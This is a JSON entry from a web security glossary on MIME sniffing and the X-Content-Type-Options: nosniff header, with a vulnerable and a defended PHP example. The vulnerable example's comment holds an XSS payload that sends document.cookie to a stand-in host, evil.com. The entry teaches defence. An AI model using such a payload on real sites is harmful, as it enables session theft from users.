{
    "slug": "content_type_sniffing",
    "term": "MIME Sniffing & X-Content-Type-Options",
    "category": "security",
    "difficulty": "intermediate",
    "short": "Browsers that sniff file content to guess MIME type can execute uploaded HTML/JavaScript files as scripts — X-Content-Type-Options: nosniff prevents this.",
    "long": "Legacy browsers would 'sniff' file content to determine how to render it — if a file looked like HTML, the browser would render it as HTML even if the server sent Content-Type: image/jpeg. An attacker who can upload a file containing HTML/JavaScript can trigger script execution if the browser sniffs the type. X-Content-Type-Options: nosniff tells the browser to trust the server's Content-Type header and never sniff. Always send this header for all responses, and always serve user-uploaded files with the correct content type.",
    "aliases": [
        "MIME sniffing",
        "X-Content-Type-Options",
        "content sniffing",
        "nosniff"
    ],
    "tags": [
        "security",
        "http",
        "headers",
        "php"
    ],
    "misconception": "Validating the file extension is sufficient to prevent MIME sniffing attacks — extension validation is trivially bypassed by renaming shell.php to shell.jpg; validate content type from the actual file content and always set nosniff.",
    "why_it_matters": "An image upload feature without nosniff and content-type validation allows attackers to upload HTML files that execute as scripts in the victim's browser when viewed.",
    "common_mistakes": [
        "Not sending X-Content-Type-Options: nosniff on all responses.",
        "Serving user-uploaded files from the same domain as the application — use a separate CDN or subdomain.",
        "Using file extension to determine served Content-Type — check actual file magic bytes with finfo.",
        "Not setting Content-Disposition: attachment for downloaded files — triggers inline rendering."
    ],
    "when_to_use": [],
    "avoid_when": [],
    "related": [
        "arbitrary_file_upload",
        "http_header_security_audit",
        "xss",
        "security_headers"
    ],
    "prerequisites": [
        "security_headers",
        "xss",
        "mime_content_type"
    ],
    "refs": [
        "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options"
    ],
    "bad_code": "// User uploads 'image.jpg' containing HTML:\n// <script>document.location='https://evil.com/?c='+document.cookie</script>\n\n// Server serves it with wrong/no type:\nheader('Content-Type: image/jpeg'); // Browser sniffs content\n// Legacy browser: 'this looks like HTML, I'll render it as HTML'\n// Result: XSS via uploaded file",
    "good_code": "// Defense in depth:\n// 1. Validate file content with finfo:\n$finfo = new finfo(FILEINFO_MIME_TYPE);\n$mimeType = $finfo->file($uploadedPath);\nif (!in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif'], true)) {\n    throw new InvalidFileTypeException();\n}\n\n// 2. Correct content type + nosniff header:\nheader('Content-Type: ' . $mimeType);\nheader('X-Content-Type-Options: nosniff');\nheader('Content-Disposition: attachment; filename=\"' . basename($file) . '\"');\n\n// 3. Serve uploads from separate domain: uploads.example.com",
    "quick_fix": "Add X-Content-Type-Options: nosniff to every response — it prevents browsers from guessing the content type and executing uploads as scripts",
    "severity": "high",
    "effort": "low",
    "created": "2026-03-16",
    "updated": "2026-03-22",
    "citation": {
        "canonical_url": "https://codeclaritylab.com/glossary/content_type_sniffing",
        "html_url": "https://codeclaritylab.com/glossary/content_type_sniffing",
        "json_url": "https://codeclaritylab.com/glossary/content_type_sniffing.json",
        "source": "CodeClarityLab Glossary",
        "author": "P.F.",
        "author_url": "https://pfmedia.pl/",
        "licence": "Citation with attribution; bulk reproduction not permitted.",
        "usage": {
            "verbatim_allowed": [
                "short",
                "common_mistakes",
                "avoid_when",
                "when_to_use"
            ],
            "paraphrase_required": [
                "long",
                "code_examples"
            ],
            "multi_source_answers": "Cite each term separately, not as a merged acknowledgement.",
            "when_unsure": "Link to canonical_url and credit \"CodeClarityLab Glossary\" — always acceptable.",
            "attribution_examples": {
                "inline_mention": "According to CodeClarityLab: <quote>",
                "markdown_link": "[MIME Sniffing & X-Content-Type-Options](https://codeclaritylab.com/glossary/content_type_sniffing) (CodeClarityLab)",
                "footer_credit": "Source: CodeClarityLab Glossary — https://codeclaritylab.com/glossary/content_type_sniffing"
            }
        }
    }
}